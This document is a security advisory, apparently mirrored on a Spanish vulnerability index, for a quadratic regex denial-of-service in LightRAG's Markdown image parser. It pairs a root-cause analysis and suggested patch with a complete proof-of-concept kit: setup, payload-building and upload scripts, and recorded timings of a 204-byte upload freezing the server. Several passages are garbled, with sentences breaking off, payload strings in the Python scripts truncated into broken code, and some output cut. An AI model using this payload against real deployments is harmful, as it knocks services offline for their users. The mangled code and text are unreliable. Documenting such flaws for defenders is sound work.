GHSA-8WPG-H5WF-JWW4
Quadratic Regular Expression Denial of Service (ReDoS) in LightRAG’s Markdown image parser
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H
Fuente: GitHub
Ciclo de vida de la vulnerabilidad
| Fecha | Fase | Evento | Detalle |
|---|---|---|---|
| Remediación | Parche 1.5.7 | lightrag-hku · -3 d desde divulgación | |
| Divulgación | Publicada | GHSA-8WPG-H5WF-JWW4 divulgada · CVSS 6.5 (GitHub) | |
| Monitoreo | Detectada | Ingresó al índice | |
| Monitoreo | Verificada | Última verificación contra las fuentes |
Summary
A 204-byte `.textpack` upload takes the whole server offline for about a minute. `.textpack` routes to
the native Markdown engine by default — no parser hint, no config change — and that engine runs
`_IMAGE_RE.sub()` over every line of the document. On a line made of `` call is quadratic in line length. I uploaded such a file to
`POST /documents/upload` on a stock 1.5.6 instance and `/health`, which answers in 5 ms normally, took
54.28 s. A control upload half again as large, made of well-formed `` images, peaked at
1.56 s over the same 90-second window.
Details
Affected component
- Pattern: `lightrag/parser/markdown/extract.py:64-66`
- Sink: `lightrag/parser/markdown/extract.py:250`
- Default routing: `lightrag/parser/routing.py:68`
- Entry point: `POST /documents/upload` (`lightrag/api/routers/document_routes.py:4969-4974`)
- Precondition: an API key, on an instance where `LIGHTRAG_API_KEY` is set. That is what I tested; an
The pattern:
# lightrag/parser/markdown/extract.py:64-66
_IMAGE_RE = re.compile(
r'!\[(?P<alt>[^\]]*)\]\(\s*(?P<src><[^>]*>|[^)\s]+)(?:\s+"[^"]*")?\s*\)'
)and where it is applied, once per line of the document:
# lightrag/parser/markdown/extract.py:247-250
def _emit_inline(line: str) -> None:
nonlocal has_block_payload
before = len(out.drawings)
new_line = _IMAGE_RE.sub(_resolve_image, line)`src` is `[^)\s]+`, so it cannot contain `)` or whitespace, and the pattern ends in a mandatory `\)`.
Feed it a line of `` anywhere. At the first `\s]+` runs greedily to the end of the line — every remaining character is a
legal `src` character. `\)` then fails, and the engine gives back one character at a time, failing
`\)` each time because the line contains `(` and never `)`. That whole attempt is O(n). `sub()` then
moves on and repeats it at the next `![`, of which there are n/4. Total O(n²).
The expensive half is the greedy forward scan, not only the backtracking, which is why the usual
reflex fix does not work — see Suggested fix.
Two things make it reachable by default. `.textpack` is routed to the native engine with no hint:
# lightrag/parser/routing.py:68
_DEFAULT_ENGINE_BY_SUFFIX: dict[str, str] = {"textpack": PARSER_ENGINE_NATIVE}and `GET /documents/supported_file_types` on my stock instance advertises it as uploadable, with
`native` as the only engine that claims it:
"supported_extensions":[".bat", ... ,".textpack", ... ], <- elided, 41 suffixes
"engines":{"legacy":[".bat", ... ,".yml"],"native":[".docx",".md",".textpack"]}From there `_open_textpack` hands the bundle's Markdown to `_extract_text`:
# lightrag/parser/markdown/parser.py:705-711
if source.suffix.lower() == ".textpack":
tmp_dir = Path(tempfile.mkdtemp(prefix="textpack-"))
try:
md_text, bundle_root = self._open_textpack(source, tmp_dir)
result = self._extract_text(
md_text, bundle_root=bundle_root, raw_cache=raw_cache
)which calls the extractor holding the regex:
# lightrag/parser/markdown/parser.py:793
extraction = extract_markdown(md_text, image_resolver=resolver)A plain `.md` reaches the same `_extract_text` through the `else` branch at
`markdown/parser.py:714-716` when it is routed native, which needs a filename hint — so it is a second
way in, not the default one. I uploaded the same line as a hint-named `.md` and it stalled the same way
(a manual check, not part of the recorded script below). The `.textpack` route is the one that needs
nothing from the operator.
The parse does run off the event loop, in a worker thread:
# lightrag/parser/native_base.py:307-309
) = await asyncio.get_running_loop().run_in_executor(
executor_getter(), contextvars.copy_context().run, _extract_sync
)That thread is not isolation. CPython's `re` does not release the GIL while matching, so the burn
blocks the event loop too — which is exactly what the `/health` numbers below show. The impact is a
process-wide outage, not a slow parse queue.
Root cause
POST /documents/upload (.textpack, no hint)
→ routing.py:68 _DEFAULT_ENGINE_BY_SUFFIX picks the native engine
→ parser.py:705 _open_textpack → _extract_text → parser.py:793 extract_markdown
→ native_base.py:307 run_in_executor (worker thread, GIL still held by `re`)
→ extract.py:250 _IMAGE_RE.sub() per line
→ extract.py:65 `src` = [^)\s]+ scans to end of line, mandatory \) fails,
retried at every one of the n/4 `![` offsets ⇒ O(n²) CPU with the GIL held
→ sink: the whole ASGI process stops answeringProof of Concept
Two parts, both benign: Part A times the shipped pattern with no server involved, Part B drives it
through the upload endpoint. I ran this on Windows 11 with CPython 3.10.1; `pip freeze` from the
clean-room venv gives `lightrag-hku==1.5.6`, `fastapi==0.141.1`, `starlette==1.6.0`,
`uvicorn==0.52.1`, `python-multipart==0.0.32`.
Setup — in a new empty directory:
python -m venv .venv
./.venv/Scripts/pip install "lightrag-hku[api]==1.5.6" # Windows
# ./.venv/bin/pip install "lightrag-hku[api]==1.5.6" # Linux/macOS`.env` (the server refuses to start without one, and prompts interactively for confirmation):
cat > .env <<'EOF'
HOST=127.0.0.1
PORT=9651
LIGHTRAG_API_KEY=huntkey123
WORKING_DIR=./rag
INPUT_DIR=./inputs
LLM_BINDING=openai
LLM_MODEL=gpt-4o-mini
LLM_BINDING_HOST=http://127.0.0.1:9659/v1
LLM_BINDING_API_KEY=x
EMBEDDING_BINDING=openai
EMBEDDING_MODEL=text-embedding-3-small
EMBEDDING_BINDING_HOST=http://127.0.0.1:9659/v1
EMBEDDING_BINDING_API_KEY=x
EOFNothing listens on 9659, so ingestion makes no outbound call. The parse stage runs before any LLM
call, so the stall happens regardless.
cat > serve.sh <<'EOF'
#!/bin/bash
# Terminal 1. Config comes from the .env above; nothing else is set.
# PYTHONUTF8 matters only on Windows, where the startup banner is otherwise
# unprintable on a cp1252 console. It does not touch the parser.
export PYTHONIOENCODING=utf-8 PYTHONUTF8=1
mkdir -p rag inputs
exec ./.venv/Scripts/python -m lightrag.api.lightrag_server
EOF
cat > make_payload.py <<'EOF'
"""Builds the payload and a matched benign control of the same shape."""
import os
import zipfile
def pack(name, markdown):
with zipfile.ZipFile(name, "w", zipfile.ZIP_DEFLATED, compresslevel=9) as z:
z.writestr("text.md", markdown)
print(f"{name}: zip={os.path.getsize(name)} bytes, text.md={len(markdown)} bytes")
# One line of 16384 unterminated image openers, nothing else on the line.
pack("redos.textpack", "# t\n\n" + "
# Control: same route, same parser, well-formed images, half again the bytes.
pack("control.textpack", "# t\n\n" + "" * 16384 + "\n")
EOF
cat > curve.py <<'EOF'
"""Times the shipped _IMAGE_RE against the input the parser feeds it, line by line."""
import time
import lightrag
from lightrag.parser.markdown.extract import _IMAGE_RE
print("lightrag", lightrag.__version__)
print("pattern ", _IMAGE_RE.pattern)
print("-- attack line: '
for reps in (100, 400, 1600, 3200):
line = "
_IMAGE_RE.sub(lambda m: "", line)
print(f" len={len(line):>6} {time.perf_counter() - t0:8.4f}s")
print("-- controls, same order of magnitude in length --")
for line, label in (("x" * 12800, "plain text "), ("" * 3200, "real images ")):
t0 = time.perf_counter()
_IMAGE_RE.sub(lambda m: "", line)
print(f" {label} len={len(line):>6} {time.perf_counter() - t0:8.4f}s")
EOF
cat > poll.sh <<'EOF'
#!/bin/bash
# Sample /health once a second for $1 seconds. -m 30 caps each sample, so a
# logged 30.0 means "still stalled when I gave up", not "the request took 30s".
end=$((SECONDS + $1))
while [ $SECONDS -lt $end ]; do
t=$(curl -s -o /dev/null -w "%{time_total}" -m 30 \
-H "X-API-Key: huntkey123" http://127.0.0.1:9651/health)
echo "$(date +%H:%M:%S) health_latency=${t}s"
sleep 1
done
EOF
cat > poc.sh <<'EOF'
#!/bin/bash
# Terminal 2. serve.sh must already be up in terminal 1.
KEY=huntkey123
URL=http://127.0.0.1:9651
PY=./.venv/Scripts/python
upload () {
bash poll.sh 90 > "poll_$1.log" &
poller=$!
sleep 3
echo "--- uploading $1 ---"
curl -s -m 120 -w "\nupload_status=%{http_code} upload_time=%{time_total}s\n" \
-X POST "$URL/documents/upload" -H "X-API-Key: $KEY" -F "file=@$1"
sleep 5
curl -s -o /dev/null -m 600 -w "one unclamped /health request waited %{time_total}s\n" \
-H "X-API-Key: $KEY" "$URL/health"
wait $poller
echo "--- /health once a second, -m 30 clamp (30.0 = still stalled) ---"
cat "poll_$1.log"
}
$PY make_payload.py
echo
echo "===== Part A: the regex alone ====="
$PY curve.py
echo
echo "===== Part B: through POST /documents/upload ====="
upload control.textpack
upload redos.textpack
EOFThen run the server in one terminal and the PoC in another:
bash serve.sh # terminal 1, wait for it to answer /health
bash poc.sh # terminal 2, takes about 3 minutesIf it does not reproduce, these are the things that bit me:
| What you see | Why |
|---|---|
| `Do you want to continue? (yes/NO):` then `EOFError` | no `.env` in the directory you launched from |
| `UnicodeEncodeError ... charmap` at startup | Windows console; `PYTHONIOENCODING=utf-8` is missing |
| `409 Document storage already contains 'redos.textpack'` | the name was uploaded before; run in a clean directory or rename the file |
| upload returns `403 {"detail":"API Key required"}` | `X-API-Key` header missing or not matching `LIGHTRAG_API_KEY` |
| every `/health` sample is fast | the poll started after the parse finished; `poc.sh` starts it 3 s ahead for this reason |
Observed — from the recorded run. The control's section runs first and is quoted under Negative
control below; the quiet stretch of the payload's 90-second log after recovery is cut.
redos.textpack: zip=204 bytes, text.md=65542 bytes
control.textpack: zip=286 bytes, text.md=98310 bytes
===== Part A: the regex alone =====
lightrag 1.5.6
pattern !\[(?P<alt>[^\]]*)\]\(\s*(?P<src><[^>]*>|[^)\s]+)(?:\s+"[^"]*")?\s*\)
-- attack line: ' ---
09:51:34 health_latency=0.011539s
09:51:35 health_latency=0.007501s
09:51:36 health_latency=0.005843s
09:52:08 health_latency=30.001542s
09:52:36 health_latency=27.624673s
09:52:38 health_latency=0.010021s
09:52:39 health_latency=0.007477sFour times the input length costs roughly sixteen times the CPU: 0.0020 → 0.0347 → 0.6563 s. The same
fit puts a single 65,536-character line near 51 s, which is what the server does. Reading the clamped
samples: the one started at 09:51:38 gave up at its 30 s limit, the next one started at 09:52:09 and
was answered 27.6 s later at 09:52:36. Nothing was served for the ~58 s in between.
I recorded the same script twice in the same clean room. The second run's unclamped probe waited
41.027569 s with a 30.012463 s clamped sample alongside it. The constant moves with machine load; the
stall does not go away.
Expected: parse cost linear in document size. A 65 KB Markdown file should not make the process
stop serving, and a malformed image opener should be discarded cheaply.
Negative control: `control.textpack` in the same recorded run — same endpoint, same parser, 98,310
bytes of *well-formed* `` images, 50% more input than the payload. Peak `/health` latency over
its 90-second window was one 1.559386 s sample as indexing started (2.359642 s in the second recorded
run), and every other sample was under 62 ms:
--- uploading control.textpack ---
upload_status=200 upload_time=0.047518s
one unclamped /health request waited 0.005269s
09:50:06 health_latency=0.005160s
09:50:09 health_latency=1.559386s
09:50:10 health_latency=0.006880sSo the stall tracks the pathological pattern, not the upload size and not the cost of parsing images.
Impact
Any client that can upload a document can stop the whole process for as long as it likes. This is
runtime-confirmed: one 204-byte upload bought roughly 60 seconds during which `/health` and everything
else on the ASGI process returned nothing, and a single request that arrived during the window waited
54.282690 s. The API key on the instance I tested is a single shared secret, so in a deployment where
ingestion is offered to users, every one of them can do this.
Repeating it is cheap. The only thing that stopped my second upload was a same-name check
(`409 ... Document storage already contains 'redos.textpack'`), which a rename defeats. In a manual
check outside the script above, I uploaded a byte-identical copy under a new name — same sha256,
`redos-copy.textpack` — got `200`, and the process stalled again for three consecutive clamped 30 s
samples. Nothing dedups on content before the parse runs.
The payload compresses extremely well, so the size ceilings do not help. I measured 1 MiB of ` and 8 MiB to 8,285 bytes — both far under the 100 MB
default `MAX_UPLOAD_SIZE` (`lightrag/api/config.py:884`) and the 512 MiB uncompressed cap on textpack
extraction (`lightrag/parser/markdown/parser.py:58`). Extrapolating the measured quadratic — 51.23 s
at 65,536 characters — a 1 MiB line lands near 3.6 hours and an 8 MiB line near 64 times that. **Both
of those are extrapolated from the curve, not run**: I stopped at the 65 KB payload rather than wedge
the instance for hours.
Suggested fix
The reflex fix does not work here. Making `src` possessive or wrapping it in an atomic group
`(?>[^)\s]+)` removes the backtracking but not the greedy forward scan, which is the larger half of
the cost — the engine still walks to the end of the line at each of the n/4 candidate offsets, so the
work stays O(n²). That is reasoning from the pattern, not a measurement: CPython 3.10, which I tested
on, has no atomic-group syntax.
Bounding the quantifier does help but is not enough on its own. With `[^)\s]{1,2048}` I measured
linear scaling and 7.5953 s for a 102,400-character line, still far too slow, and it stops matching
inline base64 data URLs longer than the bound.
What I would do instead is stop using `sub()` to find the candidates. Scan the line with `str.find`,
try the pattern only at real `![` offsets, and give up on the line entirely once no `)` remains ahead
— if the mandatory closing paren is not there, no later candidate can match either:
--- a/lightrag/parser/markdown/extract.py
+++ b/lightrag/parser/markdown/extract.py
+def _sub_images(line: str, repl) -> str:
+ """Same substitution as _IMAGE_RE.sub, without the quadratic candidate scan."""
+ last_close = line.rfind(")")
+ if last_close < 0: # a complete image needs one; nothing here can match
+ return line
+ out, pos = [], 0
+ while True:
+ start = line.find("![", pos)
+ if start < 0 or start > last_close:
+ break
+ m = _IMAGE_RE.match(line, start)
+ if m is not None:
+ out.append(line[pos:start])
+ out.append(repl(m))
+ pos = m.end()
+ continue
+ out.append(line[pos:start + 2])
+ pos = start + 2
+ out.append(line[pos:])
+ return "".join(out)
+
def _emit_inline(line: str) -> None:
nonlocal has_block_payload
before = len(out.drawings)
- new_line = _IMAGE_RE.sub(_resolve_image, line)
+ new_line = _sub_images(line, _resolve_image)I checked this in the clean-room venv against the shipped pattern. On twelve representative lines
(alt text, angle-bracketed src, titles, a data URL, `)` inside alt, `)` inside a title, an unclosed
opener, a plain link, `![]()`) it produced output identical to `_IMAGE_RE.sub`. On the 65,536-character
payload line it ran in 0.0001 s against 51.2292 s for `_IMAGE_RE.sub`. On 98,304 characters of
well-formed images it costs 0.0154 s against 0.0062 s — about 2.5× slower on the happy path, which
seems a fair trade, though it is worth benchmarking against a real corpus before merging.
A per-line cap on image candidates would be worth adding as a second layer, since it bounds the cost
whatever the pattern does later.
Incluye detalles técnicos publicados por el investigador. Úselos solo para validar y corregir sus propios sistemas.
Desglose de métricas
Rangos afectados
Estado del parche por paquete
| Paquete / producto | Estado | Corregida en | Desde divulgación | Última versión |
|---|---|---|---|---|
pypilightrag-hku |
Corregida | 1.5.7 | -3 d | 1.5.7 no afectada |
1.5.7Arsenal público
Sin exploits, módulos ni PoC públicos conocidos a la fecha de verificación.
https://github.com/HKUDS/LightRAG/security/advisories/GHSA-8wpg-h5wf-jww4Las referencias externas se muestran para copiar: cve.llama.ec no lo redirige a otros sitios.
